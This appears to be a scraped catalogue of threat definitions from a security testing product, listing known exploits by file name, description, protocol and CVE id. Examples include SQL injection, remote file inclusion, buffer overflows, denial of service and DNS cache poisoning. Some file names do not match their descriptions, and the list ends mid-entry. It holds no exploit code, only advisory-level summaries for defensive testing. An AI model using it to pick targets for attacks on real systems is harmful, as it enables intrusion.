Executive Description:	PHPNuke SQL injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing an SQL statement which is executed by the server with its permissions. PHPNuke is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20160913-36_Microsoft_Windows_PDF_Library_PostScript_Information_Disclosure.xml
Executive Description:	Microsoft Windows PDF Library PostScript Information Disclosure
Detailed Description:	An out-of-bound read vulnerability has been reported in Microsoft Windows PDF library. The vulnerability is due to mishandling of the domains attribute for a Type 4 PostScript Calculator function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted PDF file. Successful exploitation could allow the attacker to gain sensitive information.
Protocol Type:	HTTP
CVEID:	CVE-2016-3374
Threat File Name:	TSL20140114-32_Oracle_Java_Beans_DocumentHandler_XML_External_Entity.xml
Executive Description:	Poster Software PUBLISH-iT PUI File Processing Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Poster Software PUBLISH-iT. The vulnerability is due to insufficient validation on the length of entry names in a "styl" record when processing PUI files. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious PUI file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2014-0980
OSVDB:	102911
Threat File Name:	FSC20110111-04_Microsoft_Windows_Data_Access_Components_ADO_Record_Code_Execution.xml
Executive Description:	Microsoft Windows Data Access Components ADO Record Code Execution
Detailed Description:	A remote code execution vulnerability exists in Microsoft Data Access Components (MDAC). The vulnerability is due to the way that Microsoft Data Access Components allocates memory when handling the ActiveX Data Objects (ADO) Record data structures. Remote attackers could exploit this by enticing target users to visit a maliciously crafted web page. Successful exploitation would result in arbitrary code execution with the privileges of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2011-0027
Threat File Name:	adobe_ff_crash_IPv6.xml
Executive Description:	Acrobat Plugin Firefox Crash (IPv6 Version)
Detailed Description:	This threat causes a crash in firefox by issuing javascript through a malicious webpage that then gets executed by the embedded PDF viewer. This threat would typically come from a malicious webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2007-0045
Threat Package:	Standard
Threat File Name:	FSC20110414-01_Microsoft_Internet_Explorer_CSS_Use_After_Free_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Use After Free Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a use-after-free condition when an vulnerable application handles the CSS elements of HTML pages. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0094
Threat File Name:	apacheCRLF_IPv6.xml
Executive Description:	Apache CRLF Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service in Apache by eating up available memory. This can cause the HTTP service to crash over time if this threat is run long enough. Apache is a webserver that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0132
OSVDB:	9712
Threat Package:	Standard
Threat File Name:	phpMyNewsletter_rfi_IPv6.xml
Executive Description:	phpMyNewsLetter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpMyNewsletter is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1887
Threat Package:	Standard
Threat File Name:	FSC20101214-37_Microsoft_Office_TIFF_Image_Converter_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office TIFF Image Converter Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product. Note: Microsoft has advised that the MS10-087 patch must be applied to mitigate this vulnerability.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3947
Threat File Name:	FSC20071105-18_osx_quicktime_bof_IPv6.xml
Executive Description:	Apple QuickTime PICT Image Processing Uncompressedfile Stack Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to boundary errors when processing PICT image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PICT image file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4672
Threat Package:	Standard
Threat File Name:	phpBazar_cmi_IPv6.xml
Executive Description:	phpBazar 2.1.0 Multiple Vulnerabilities (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via classified_right.php's GLOBAL parameter. phpBazar is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2528
OSVDB:	25700
Threat Package:	Standard
Threat File Name:	win_dns_dos_IPv6.xml
Executive Description:	DNS Resolver Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a DNS Reply packet that contains all transaction IDs available for a DNS Reply. This causes some implementations of Windows DNS Resolver to fail to resolve further names. The destination port must be set to the port that the dns resolver listens on, typically the first or second low privilege port (1026, 1027). To make certain that the threat reaches the correct DNS resolver port, a range can be specified, such as @range(1025, 1035) (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-1999-0024
OSVDB:	438
Threat Package:	Standard
Threat File Name:	TSL20120612_Microsoft_Internet_Explorer_Developer_Toolbar_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Developer Toolbar Use After Free
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free) when processing script code interacting with the debugger console API. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1874
OSVDB:	82864
Threat File Name:	FSC20081009-11_CA_ARCserve_Backup_Tape_Engine_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup Tape Engine Denial of Service

Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Backup Tape Engine service. The vulnerability is due to insufficient input validation in the ClientCreateJobHandle library function. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could cause a denial of service condition for the TapeEng and MediaSrv services.
Protocol Type:	BOOK_SERVM
CVEID:	CVE-2008-4398
Threat Package:	Standard
Threat File Name:	FSC20081020-02_VideoLAN_VLC_Media_Player_TY_Processing_Buffer_Overflow.xml
Executive Description:	VideoLAN VLC Media Player TY Processing Buffer Overflow
Detailed Description:	There exists a vulnerability in VideoLAN VLC Media Player. The vulnerability is due to a buffer overflow when opening TiVo TY media files. An unauthenticated remote attacker could exploit this vulnerability by enticing a user to play a specially crafted TiVo TY media file. Successful exploitation would cause a stack buffer overflow allowing the attacker to execute arbitrary code with the privileges of the logged in user. In an attack case where code injection is not successful, VideoLAN VLC client application will terminate unexpectedly. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The affected application would also most likely stop functioning as a result of such an attack.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-4654
Threat Package:	Standard
Threat File Name:	FSC20090706-01_Microsoft_Video_ActiveX_Control_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Video ActiveX Control Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectShow. The flaw is due to the way Microsoft Video ActiveX Control parses image files. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of memory corruption. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0015
Threat Package:	Standard
Threat File Name:	importal_rfi_IPv6.xml
Executive Description:	IntegraMOD Portal <= v1.2.0 (phpbb_root_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. IntegraMOD Portal is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4368
OSVDB:	29170
Threat Package:	Standard
Threat File Name:	FSC20090728-06_Microsoft_Internet_Explorer_HTML_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Objects Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer handles table operations in specific situations. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1918
Threat Package:	Standard
Threat File Name:	TSL20121204-02_Opera_Software_Opera_GIF_Processing_Memory_Corruption.xml
Executive Description:	Opera Software Opera GIF Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Opera. The vulnerability is caused by a heap buffer underflow while processing GIF files with a crafted LZW stream. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted GIF file. Successful exploitation could possibly allow code execution under the security context of the current user. The vendor has released no security advisory regarding this issue at the time of writing
Protocol Type:	HTTP,HTTPS
OSVDB:	88101
Threat File Name:	TSL20120607-03_Apple_QuickTime_QTVR_QTVRStringAtom_Parsing_Buffer_Overflow.xml
Executive Description:	Apple QuickTime QTVR QTVRStringAtom Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to a signedness error, which leads to a stack-based buffer overflow when processing a QTVR string atom having an overly large stringLength parameter. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted QuickTime VR file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0667
OSVDB:	81938
Threat File Name:	TSL20140603-08_PHP_CDF_File_Handling_Infinite_Loop_IPv6.xml
Executive Description:	PHP CDF File Handling Infinite Loop(IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in PHP. It is due to an error in the FileInfo module while handling nelements in the processing of CDF files. A remote attacker can exploit the vulnerability by sending crafted CDF files to a web application running a vulnerable version of PHP. A successful attack will result in an infinite loop, which can cause a denial of service condition.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0238

Threat File Name:	TSL20140723-10_Mozilla_Firefox_SharedWorker_MessagePort_Use_After_Free_IPv6.xml
Executive Description:	Mozilla Firefox SharedWorker MessagePort Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exists in Mozilla Firefox. The vulnerability is due to a memory corruption issue when handling SharedWorker objects. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to visit a malicious page. Successful exploitation could lead to remote code execution under the security context of the browser process.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-1548
OSVDB:	109417
Threat File Name:	subversion_getdated.xml
Executive Description:	Subversion get-dated-rev Overflow
Detailed Description:	This threat causes a remote overflow in the Subversion source control system. This is used to gain control of the target server. Subversion typically listens on port 3690.
Protocol Type:	SVN
CVEID:	CVE-2004-0397
OSVDB:	6301
Threat Package:	Standard
Threat File Name:	dns_rev_IPv6.xml
Executive Description:	DNS Reverse Address Lookup Spoofing (IPv6 Version)
Detailed Description:	This threat is an attempt to poison the DNS cache on Microsoft's ISA Server as described in MS04-039. It replicates a reply to a proxy server, trying to alter its DNS information for google.com to point to IP address 192.168.0.5 (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0892
Threat Package:	Standard
Threat File Name:	codeavalanche_sqli.xml
Executive Description:	CodeAvalanche News SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. CodeAvalanche is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20041008-01_Microsoft_ASP.NET_Canonicalization_Vulnerability_IPv6.xml
Executive Description:	Microsoft ASP.NET Canonicalization Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in the ASP.NET programming framework within the authentication schema. The error exists in the canonicalization of requested ASP.NET resource paths. This flaw can be exploited by remote unauthenticated users to access server secured resources without prior authorization. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0847
Threat Package:	Standard
Threat File Name:	snmpXSS_IPv6.xml
Executive Description:	SNMP XSS attempt (IPv6 Version)
Detailed Description:	This threat sends a SNMP XSS attempt. It specifies the community string as Javascript code, causing a web event log to execute that code in the context of the user browsing the administrative site. This can be used to hide log details, perform actions in the administration site, and attempt to exploit the browser with malware. SNMP traffic is sent to UDP port 161. (IPv6 Version)
Protocol Type:	SNMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130621-02_Apple_QuickTime_enof_Atom_Parsing_Heap_Buffer_Overflow.xml
Executive Description:	Apple QuickTime enof Atom Parsing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to improper validation of the size field of the enof atom in QuickTime movie files. A small enof size value can cause data to overflow into an adjacent buffer leading to a heap buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a maliciously crafted QuickTime movie file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	NFS, HTTP, HTTPS,IMAP, POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-0986
OSVDB:	93618
Threat File Name:	FSC20100913-04_Apple_Safari_and_Google_Chrome_Webkit_Object_Outline_Memory_Corruption.xml
Executive Description:	Apple Safari and Google Chrome Webkit Object Outline Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Webkit, the HTML rendering engine used in Apple's Safari and Google's Chrome web browser. The vulnerability is due to memory corruption during the rendering of HTML object outlines.This vulnerability may be exploited by enticing a user to open a specially crafted web page. Exploitation will result in memory corruption which may crash the browser or could lead to arbitrary code execution.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1813
Threat File Name:	sipunknownauth.xml
Executive Description:	SIPPING: Unknown Auth Scheme
Detailed Description:	This threat sends out a SIP REGISTER message with an unknown authorization scheme. This is technically valid but because it is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20060613-07_Microsoft_Internet_Explorer_HTML_Decoding_Memory_Corruption_Vulnerability.xml
Executive Description:	Microsoft Internet Explorer HTML Decoding Memory Corruption

Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Internet Explorer. The flaw is caused by improper decoding of UTF-8 encoded HTML files. An attacker can exploit this vulnerability by enticing a user to open a crafted HTML file, resulting in possible injection and execution of arbitrary code on the target system with the privileges of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-2382
Threat Package:	Standard
Threat File Name:	FSC20060214-05_Microsoft_Windows_Media_Player_Plug-in_Vulnerability.xml
Executive Description:	Microsoft Windows Media Player Plug-in Vulnerability
Detailed Description:	There exists a buffer overflow vulnerability in the Windows Media Player Plug-in when it is used with various non-Microsoft browsers. The vulnerability exists due to a failure to check the boundaries of resource information provided to the plug-in. An attacker can exploit this vulnerability to execute arbitrary code on the target host in the context of the user running the browser.
Protocol Type:	HTTP
CVEID:	CVE-2006-0005
Threat Package:	Standard
Threat File Name:	FSC20101109-07_Microsoft_Office_Large_SPID_Read_Access_Violation.xml
Executive Description:	Microsoft Office Large SPID Read Access Violation
Detailed Description:	A code execution vulnerability exists in Microsoft Office. The vulnerability is due to improper parsing of a crafted SPID structure in an office document that allows for memory access error. A remote attacker can exploit this vulnerability by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3336
Threat File Name:	pop_buffer_overflow_1025.xml
Executive Description:	POP Buffer Overflow [1025] Attack
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	FSC20100420-03_VMware_Remote_Console_HOST_and_MOID_Format_String_Code_Execution.xml
Executive Description:	VMware Remote Console HOST and MOID Format String Code Execution
Detailed Description:	A code execution vulnerability has been reported in VMware Remote Console (VMrc). The flaw is due to a format string error in the VMrc browser plug-in on Windows-based platforms. This may allow remote attackers to execute arbitrary code by enticing the target user to open a maliciously crafted HTML document. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. If code execution is not successful, a denial of service condition may occur on the target system.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3732
Threat Package:	Standard
Threat File Name:	open_con_sys_rfi_IPv6.xml
Executive Description:	Open Conference Systems <= 1.1.3 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Open Conference Systems is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5308
OSVDB:	29739
Threat Package:	Standard
Threat File Name:	invasion_sqlInject_IPv6.xml
Executive Description:	Invasion Power Board SQL Injection (IPv6 Version)
Detailed Description:	This threat attempts to retrieve a password for the userid 0. This can be used to steal administrative passwords in order to gain control of the application. This application is typically run through a webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1531
OSVDB:	11929
Threat Package:	Standard
Threat File Name:	TSL20110512-03_HP_Intelligent_Management_Center_TFTP_Server_MODE_Remote_Code_Execution.xml
Executive Description:	HP Intelligent Management Center TFTP Server MODE Remote Code Execution
Detailed Description:	A vulnerability has been identified in a component of the HP Intelligent Management Center (tftpsrvr.exe). When processing the MODE field, user input is copied to a buffer on the stack without properly checking its length first, allowing an attacker to overwrite data on the stack. A remote attacker can exploit this vulnerability to execute arbitrary code under the security context of the SYSTEM user. In the event code execution is unsuccessful, this may lead to termination of the service.
Protocol Type:	TFTP
CVEID:	CVE-2011-1851
Threat File Name:	FSC20100727-08_Apple_QuickTime_Streaming_Debug_Error_Logging_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Streaming Debug Error Logging Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime media player. The vulnerability is due to a boundary error in the QuickTimeStreaming.gtx file while writing a debug log error. Remote attackers could exploit this vulnerability by enticing target users to open a crafted SMIL file containing an overly long URL. Successful exploitation would result in arbitrary code injection and execution with the privileges of the logged in user. In case of an unsuccessful exploit, the application would terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS

CVEID: [CVE-2010-1799](#)

Threat File Name:	TSL20160620-08_Micro_Focus_Rumba_WallData.Macro_PlayMacro_Memory_Corruption_IPv6.xml
Executive Description:	Micro Focus Rumba WallData.Macro PlayMacro Memory Corruption
Detailed Description:	A buffer overflow vulnerability has been reported in the WallData.Macro ActiveX control of Micro Focus Rumba. The vulnerability is due to a lack of bounds checking on an argument passed into the PlayMacro() function. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under the context of the user.
Protocol Type:	HTTP, IPv6

Threat File Name:	soholaunch_pro_rfi_IPv6.xml
Executive Description:	Soholaunch Pro Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Soholaunch Pro is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5796
Threat Package:	Standard

Threat File Name:	MS_Help_Workshop.xml
Executive Description:	Microsoft Help Workshop Buffer Overflow
Detailed Description:	This threat causes a crafted overflow in the HTML Help Workshop application. This occurs when processing a http file. This attack is represented by a malicious download from a webserver, which typically occurs over port 80. This is a client side attack sent from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2006-0564
OSVDB:	22941
Threat Package:	Standard

Threat File Name:	TSL20130115-18_Oracle_Outside_In_CorelDRAW_File_Parser_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Heap Buffer Overflow(IPV6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing CorelDRAW files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed files. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-0418

Threat File Name:	FSC20060620-09_Microsoft_Excel_Embedded_Shockwave_Flash_Object_Code_Execution.xml
Executive Description:	Microsoft Excel Embedded Shockwave Flash Object Code Execution
Detailed Description:	A vulnerability exists in the Shockwave Flash object when embedded in Microsoft Excel. The flaw allows script code to be automatically executed by a Shockwave Flash Object contained within an XLS document. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which may result in execution of arbitrary script code within the security context of the current user. Another vector of exploitation of the Shockwave Flash object vulnerability, other than through embedding in XLS, is reported to exist as well.
Protocol Type:	HTTP
CVEID:	CVE-2006-3014
Threat Package:	Standard

Threat File Name:	firefoxGIF.xml
Executive Description:	Firefox GIF Buffer Overflow
Detailed Description:	This threat is an attack on the Firefox web browser, causing it to crash. This attack could also lead to remote code execution, allowing a user to run arbitrary code on the target machine. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0399
OSVDB:	14937
Threat Package:	Standard

Threat File Name:	TSL20140320-02 EMC_CMCNE_FileUploadController_Information_Disclosure.xml
Executive Description:	EMC CMCNE FileUploadController Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to insufficient input validation in the FileUploadController servlet when processing certain HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request to the vulnerable service. In a successful attack scenario, the attacker can disclose the contents of arbitrary files on the local filesystem
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-2276
OSVDB:	104671

Threat File Name:	FSC20090923-07_nginx_URI_Parsing_Buffer_Underflow.xml
Executive Description:	nginx URI Parsing Buffer Underflow
Detailed Description:	A remote buffer underflow vulnerability exists within nginx HTTP server. The vulnerability is due to an error when processing malicious HTTP requests. A remote attacker can exploit this vulnerability by sending an HTTP request containing specially crafted URI to the target system. Successful exploitation of this vulnerability can lead to arbitrary code execution within the security context of the affected service. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2629
Threat Package:	Standard

Threat File Name:	opera9_dos_a_IPv6.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability (IPv6 Version)

Detailed Description:	Opera Web Browser is prone to a denial-of-service condition when parsing certain malicious HTML content. Successful exploits will cause the browser to fail or hang. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	FSC20080909-07_Microsoft_Windows_Graphics_Rendering_Engine_VML_Gradient_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine VML Gradient Buffer Overflow
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. The vulnerability is due to the way that GDI+ handles gradient sizes. An attacker can exploit this vulnerability by enticing a user to browse a malicious Web site with specially crafted content. An attack can lead to denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5348
Threat Package:	Standard
Threat File Name:	etomite_rcmd.xml
Executive Description:	Etomite CMS Remote Command Execution Vulnerability
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw in the rfiles.php script. Etomite CMS is a web application which typically listens on port 80
Protocol Type:	HTTP
OSVDB:	27543
Threat Package:	Standard
Threat File Name:	osx_metadata_cmi.xml
Executive Description:	Apple Mac OS X Archive Metadata Command Execution Vulnerability
Detailed Description:	This threat sends a zip file which exercises the OSX archive metadata flaw through an HTTP connection. OSX is an operating system developed by apple computer, and this threat is delivered over HTTP which typically uses port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0848
OSVDB:	23510
Threat File Name:	ipix_bof.xml
Executive Description:	IPIX Image Well ActiveX (iPIX-ImageWell-ipix.dll) Buffer Overflow Exploit
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in in the IPIX ActiveX control, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080528-01_Samba_receive_smb_raw_SMB_Packets_Parsing_Buffer_Overflow.xml
Executive Description:	Samba receive_smb_raw SMB Packets Parsing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Samba. The vulnerability is due to a boundary error within the "receive_smb_raw()" function that is invoked when Samba parses SMB packets. A remote unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code on the target system in the security context of the logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application may terminate abnormally.
Protocol Type:	SMB
CVEID:	CVE-2008-1105
Threat Package:	Standard
Threat File Name:	TSL20170119-08_Oracle_WebLogic_Server_UnicastRef_Insecure_Deserialization_IPv6.xml
Executive Description:	Oracle WebLogic Server UnicastRef Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in Oracle WebLogic Server. This vulnerability is due to deserialization of untrusted data while having the UnicastRef class in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted serialized object. Successful exploitation can result in arbitrary code execution in the context of the user running WebLogic.
Protocol Type:	T3,T3S,IPv6
CVEID:	CVE-2017-3248
Threat File Name:	TSL20170330-10_Trend_Micro_InterScan_Web_Security_Virtual_Appliance_VerboseLog_Directory_Traversal.xml
Executive Description:	Trend Micro InterScan Web Security Virtual Appliance VerboseLog Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability is due to improper validation of the HTTP request parameters when processing requests to the VerboseLog servlet. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to sensitive information disclosure under the context of root.
Protocol Type:	HTTP,HTTPS
Threat File Name:	vd_xlink.xml
Executive Description:	Omni-NFS Stack Overflow
Detailed Description:	This threat attacks a stack based overflow in the Omni-NFS server available for windows. This attack goes to port 2049 typically.
Protocol Type:	Proprietary
CVEID:	CVE-2006-5780
Threat Package:	Standard
Threat File Name:	TSL20111228-05_IBM_Rational_Rhapsody_BB_FlashBack_FBRecorder_Multiple_Vulnerabilities.xml
Executive Description:	IBM Rational Rhapsody BB FlashBack FBRecorder Multiple Vulnerabilities

Detailed Description:	Multiple vulnerabilities exist in the BB FlashBack FBRecorder ActiveX control, which is shipped as a component of IBM Rational Rhapsody. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a user to visit a malicious website leveraging an insecure method of the ActiveX control. Successful exploitation may result in execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1388
Threat File Name:	FSC20070612-14_Microsoft_Internet_Explorer_CSS_Tag_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CSS Tag Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain HTML tags containing a specially crafted CSS style attribute. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would corrupt memory and may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1750
Threat Package:	Standard
Threat File Name:	excel_bof_a_IPv6.xml
Executive Description:	Microsoft Excel xls file Remote Code Execution MS06-012 (IPv6 Version)
Detailed Description:	This server based threat downloads a Malicious xls file which triggers the excel remote code execution flaw mentioned in microsoft advisory ms06-012. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0029
Threat Package:	Standard
Threat File Name:	FSC20070508-11_Microsoft_Exchange_Server_MIME_Base64_Decoding_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Exchange Server MIME Base64 Decoding Code Execution Vulnerability (IPv6 Version)
